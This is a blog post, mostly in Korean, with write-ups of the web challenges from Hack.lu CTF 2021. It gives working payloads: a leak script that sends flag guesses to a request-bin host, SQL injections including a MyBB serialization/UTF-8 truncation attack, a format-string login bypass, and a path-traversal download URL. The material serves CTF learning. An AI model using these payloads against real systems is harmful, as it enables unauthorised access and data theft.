Profile

i love cat

as3617

Hack.lu CTF 2021 - web writeup

bookmarker

payload

<html>
    <head>
        <title>exp</title>
    </head>
    <body>
        <div id="atk">

        </div>
        <script>
            // const TARGET = "http://localhost:8080"
            const TARGET = "https://bookmarker.flu.xxx"
            const alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ "
            var flag = "flag{i_can_see_n0_d1"
            function check(){
                for(let i =0;i<alphabet.length;i++){
                    let el = document.createElement("iframe")
                    el.dataset.checking = flag+alphabet[i]
                    el.src = `${TARGET}/?filter=${encodeURIComponent(el.dataset.checking)}`
                    el.csp = "default-src 'none'; style-src *; font-src *; img-src 'self';"
                    el.onload = (f)=>{
                        if(f.target.dataset.gg){
                            atk.innerHTML = ""
                            flag = el.dataset.checking
                            navigator.sendBeacon("https://requestbin/result",el.dataset.checking)
                            console.log(flag)
                            setTimeout(check,500)
                            return
                        }
                        f.target.dataset.gg = "1337";
                        f.target.src = f.target.src
                    }                
                    atk.appendChild(el)
                }
            }

            check();
        </script>
    </body>
</html>

trading_api

payload

payload : ||(select%20flag%20from%20flag)||

nodenb

race condition

create note with random=1
and immediately post /deleteme
then access /notes/flag

diamondsafe

public static function prepare($query, $args){
        if (is_null($query)){
            return;
        }
        if (strpos($query, '%') === false){
            error('%s not included in query!');
            return;
        }

        // get args
        $args = func_get_args();
        array_shift( $args );

        $args_is_array = false;
        if (is_array($args[0]) && count($args) == 1 ) {
            $args = $args[0];
            $args_is_array = true;
        }

        $count_format = substr_count($query, '%s');

        if($count_format !== count($args)){
            error('Wrong number of arguments!');
            return;
        }
        // escape
        foreach ($args as &$value){
            $value = static::$db->real_escape_string($value);
        }

        // prepare
        $query = str_replace("%s", "'%s'", $query);
        $query = vsprintf($query, $args);
        return $query;

    }

prepare function에 취약점이 있다. vsprintf를 쓰기 때문에 addslashes를 우회할 수 있다.

name=default&password=%251%24%27%29+or+1%3D1--+-+

위와 같이 보내면 로그인할 수 있다.

function check_url(){
    // fixed bypasses with arrays in get parameters
    $query  = explode('&', $_SERVER['QUERY_STRING']);
    $params = array();
    foreach( $query as $param ){
        // prevent notice on explode() if $param has no '='
        if (strpos($param, '=') === false){
            $param += '=';
        }
        list($name, $value) = explode('=', $param, 2);
        $params[urldecode($name)] = urldecode($value);
    }

    if(!isset($params['file_name']) or !isset($params['h'])){
        return False;
    }

    $secret = getenv('SECURE_URL_SECRET');
    $hash = md5("{$secret}|{$params['file_name']}|{$secret}");

    if($hash === $params['h']){
        return True;
    }
    return False;

}

임의의 파일을 다운로드하려면 check_url을 통과해야하는데 hash와 비교하는 것은 $_SERVER['QUERY_STRING']을 통해서 뽑은 file_name을 사용하지만 file을 다운로드 받을 땐 $_GET['file_name']을 이용하기 때문에 php에서 parameter이름에 있는 .,]를 _로 인식하는 것을 이용하면 우회할 수 있다.

https://diamond-safe.flu.xxx/download.php?h=95f0dc5903ee9796c3503d2be76ad159&file_name=Diamond.txt&file.name=../../../../../../../flag.txt

위와 같이 접근하면 flag를 다운로드할 수 있다.

FLAG : flag{lul_php_challenge_1n_2021_lul}

seekingexploits

mybb를 사용한 문제다. 2일 전에 업데이트 된 최신버전이기 때문에 0day를 찾아야한다는 것을 알 수 있었다.

emarket.php에서 sql injection이 터진다.

function list_proposals() {
        global $db;
        // this variable contains the PM
        global $message;
        global $mybb;
        global $pm;
        $query = $db->simple_select("exploit_proposals", "*", "uid=" . (int)$pm['fromid']);
        $proposals = array();
        while($proposal = $db->fetch_array($query)) {
            $proposal['additional_info'] = my_unserialize($proposal['additional_info']);

            // resolve the buyer's ID to a username
            if (array_key_exists("sold_to", $proposal["additional_info"])) {
                $user_query = $db->simple_select("users", "username", "uid=" . $proposal["additional_info"]['sold_to']);
                $buyer = $db->fetch_array($user_query);
                $proposal["buyer"] = $buyer["username"];
            }

            array_push($proposals, $proposal);
        }
        if (count($proposals) > 0) {
            $message .= "<b>Their exploit proposals:</b><br />";
        }

        foreach($proposals as $proposal) {
            $message .= "<hr />";
            foreach($proposal as $field => $value) {
                if (is_array($value)) {
                    continue;
                }
                $message .= "<b>" . htmlspecialchars($field) . ": </b>";
                $message .= "<i>" . htmlspecialchars($value) . " </i>";
            }
        }    
    }

simple_select함수를 사용하는데 이 함수는 sql injection에 취약하다. $proposal["additional_info"]['sold_to']를 이용하면 sql injection을 할 수 있는데 이 부분은 emarket_api.php에서 설정해준다.

$action = $mybb->get_input("action");
if ($action === "make_proposal") {


    // validate additional info
    $proposal = array(
        "uid" => (int)$mybb->user['uid'],
        "software" => $db->escape_string($mybb->get_input("software")),
        "latest_version" => $mybb->get_input("latest_version", MyBB::INPUT_BOOL) ? 1 : 0,
        "description" => $db->escape_string($mybb->get_input("description")),
        "additional_info" => $db->escape_string(
            my_serialize(
                validate_additional_info(
                    $mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
                    )
                )
            )
    );
    $res = $db->insert_query("exploit_proposals", $proposal);

    echo "OK!";

}

db에 data를 insert할 때 get, post 등으로 전달받은 additional_info를 validate_additional_info함수를 통해 검증하고 mybb custom serialize함수로 직렬화한 다음 db에 넣어주는 것을 볼 수 있다.

function validate_additional_info($additional_info) {
    $validated = array();
    foreach($additional_info as $key => $value) {
        switch ($key) {
            case "reliability": {
                $value = (int)$value;
                if ($value >= 0 && $value <= 100) {
                    $validated["reliability"] = $value;
                }
                break;
            }
            case "impact": {
                $valid_impacts = array("rce", "priv_esc", "information_disclosure");
                if (in_array($value, $valid_impacts, true)) {
                    $validated["impact"] = $value;
                }
                break;
            }
            case "current_bidding":
            case "sold_to": {
                $validated[$key] = (int)$value;
                break;
            }
            default: {
                $validated[$key] = $value;
            }
        }
    }

    return $validated;
}

validate_additional_info함수에는 별다른 취약점이 없다. 그래서 my_serialize함수와 escape_string함수를 분석했다.
my_serailize함수는 내부에서 _safe_serialize함수를 호출하는데 코드는 아래와 같다.

function _safe_serialize( $value )
{
    if(is_null($value))
    {
        return 'N;';
    }

    if(is_bool($value))
    {
        return 'b:'.(int)$value.';';
    }

    if(is_int($value))
    {
        return 'i:'.$value.';';
    }

    if(is_float($value))
    {
        return 'd:'.str_replace(',', '.', $value).';';
    }

    if(is_string($value))
    {
        return 's:'.strlen($value).':"'.$value.'";';
    }

    if(is_array($value))
    {
        $out = '';
        foreach($value as $k => $v)
        {
            $out .= _safe_serialize($k) . _safe_serialize($v);
        }

        return 'a:'.count($value).':{'.$out.'}';
    }

    // safe_serialize cannot my_serialize resources or objects
    return false;
}

코드를 보다보면 string data를 직렬화할 때 별다른 sanitize동작이 없기 때문에 quote를 탈출해서 임의의 값을 삽입할 수 있다.
하지만 unserialize할 때 사용하는 _safe_unserialize함수를 보면 단순히 이 버그로는 공격할 수 없다는 것을 알 수 있다.

else if($type == 's' && preg_match('/^s:([0-9]+):"(.*)/s', $str, $matches) && substr($matches[2], (int)$matches[1], 2) == '";')
        {
            $value = substr($matches[2], 0, (int)$matches[1]);
            $str = substr($matches[2], (int)$matches[1] + 2);
        }

_safe_unserialize함수의 일부분인데 직렬화 data의 length부분을 가져온 뒤 해당 값을 가지고 parsing을 진행한다. 따라서 아무리 data를 추가해도 역직렬화 후 임의의 데이터가 추가되도록 할 수 없다.
이를 위한 두번째 취약점은 mybb escape_string함수에서 발생한다.

function escape_string($string)
    {
        if($this->db_encoding == 'utf8')
        {
            $string = validate_utf8_string($string, false);
        }
        elseif($this->db_encoding == 'utf8mb4')
        {
            $string = validate_utf8_string($string);
        }

        if(function_exists("mysqli_real_escape_string") && $this->read_link)
        {
            $string = mysqli_real_escape_string($this->read_link, $string);
        }
        else
        {
            $string = addslashes($string);
        }
        return $string;
    }

addslashes나 mysqli_real_escape_string함수를 사용하기 전에 db_encoding이 utf8이나 utf8mb4라면 validate_utf8_string함수를 호출한다.

config[mysqli][dbuser]=root&config[mysqli][dbname]=mybb&config[mysqli][encoding]=utf8&config[mysqli][tableprefix]=mybb_

db를 세팅할 때 db encoding을 utf8로 설정했기 때문에 validate_utf8_string함수를 호출할 것이다.

function validate_utf8_string($input, $allow_mb4=true, $return=true)
{
    // Valid UTF-8 sequence?
    if(!preg_match('##u', $input))
    {
        $string = '';
        $len = strlen($input);
        for($i = 0; $i < $len; $i++)
        {
            $c = ord($input[$i]);
            if($c > 128)
            {
                if($c > 247 || $c <= 191)
                {
                    if($return)
                    {
                        $string .= '?';
                        continue;
                    }
                    else
                    {
                        return false;
                    }
                }
                elseif($c > 239)
                {
                    $bytes = 4;
                }
                elseif($c > 223)
                {
                    $bytes = 3;
                }
                elseif($c > 191)
                {
                    $bytes = 2;
                }
                if(($i + $bytes) > $len)
                {
                    if($return)
                    {
                        $string .= '?';
                        break;
                    }
                    else
                    {
                        return false;
                    }
                }
                $valid = true;
                $multibytes = $input[$i];
                while($bytes > 1)
                {
                    $i++;
                    $b = ord($input[$i]);
                    if($b < 128 || $b > 191)
                    {
                        if($return)
                        {
                            $valid = false;
                            $string .= '?';
                            break;
                        }
                        else
                        {
                            return false;
                        }
                    }
                    else
                    {
                        $multibytes .= $input[$i];
                    }
                    $bytes--;
                }
                if($valid)
                {
                    $string .= $multibytes;
                }
            }
            else
            {
                $string .= $input[$i];
            }
        }
        $input = $string;
    }
    if($return)
    {
        if($allow_mb4)
        {
            return $input;
        }
        else
        {
            return preg_replace("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", '?', $input);
        }
    }
    else
    {
        if($allow_mb4)
        {
            return true;
        }
        else
        {
            return !preg_match("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", $input);
        }
    }
}

인자로 전달된 string에서 ascii범위 밖의 문자를 ?로 치환한다. 만약 serialize data에 utf8 4byte문자가 들어있다면 ?로 치환될 것이고 이때 string length는 줄어들지 않았기 때문에 serialize data의 구조를 깨트릴 수 있다. utf8문자의 개수를 적절하게 조절한 뒤 이후 데이터들을 잘 조작한다면 $proposal["additional_info"]['sold_to']에 우리가 원하는 값을 넣을 수 있을 것이다.

이후 로컬에 환경을 구축한 뒤 값을 출력해보면서 적절한 payload를 만들었고 flag를 획득하기 위한 list_proposals함수는 private message를 전송한 뒤 확인하는 과정에서 호출하기 때문에 admin한테 private message를 보내고 채팅방에 접속하니 proposals list에서 플래그를 확인할 수 있었다.

image

payload

/emarket-api.php?action=make_proposal&additional_info[%F0%92%80%80%F0%92%80%80%F0%92%80%80%F0%92%80%80%F0%92%80%80%F0%92%80%80]=aaaaaaaaaa%22;s:1:%22a%22;s:7:%22sold_to%22;s:68:%220%20union%20select%20usernotes%20from%20mybb_users%20limit%201--%20-&additional_info[a]=1&additional_info[b]=2
FLAG : flag{peehaarpeebeebee}

'ctf writeup' 카테고리의 다른 글

HK CERT CTF 2021 writeup - WEB  (0) 2021.11.14
CyberGuardians CTF all writeup  (0) 2021.11.10
asis ctf 2021 - web writeup  (0) 2021.10.25
2021 Whitehat Contest Finals web writeup  (0) 2021.10.10
corCTF 2021 - mathme writeup  (0) 2021.08.24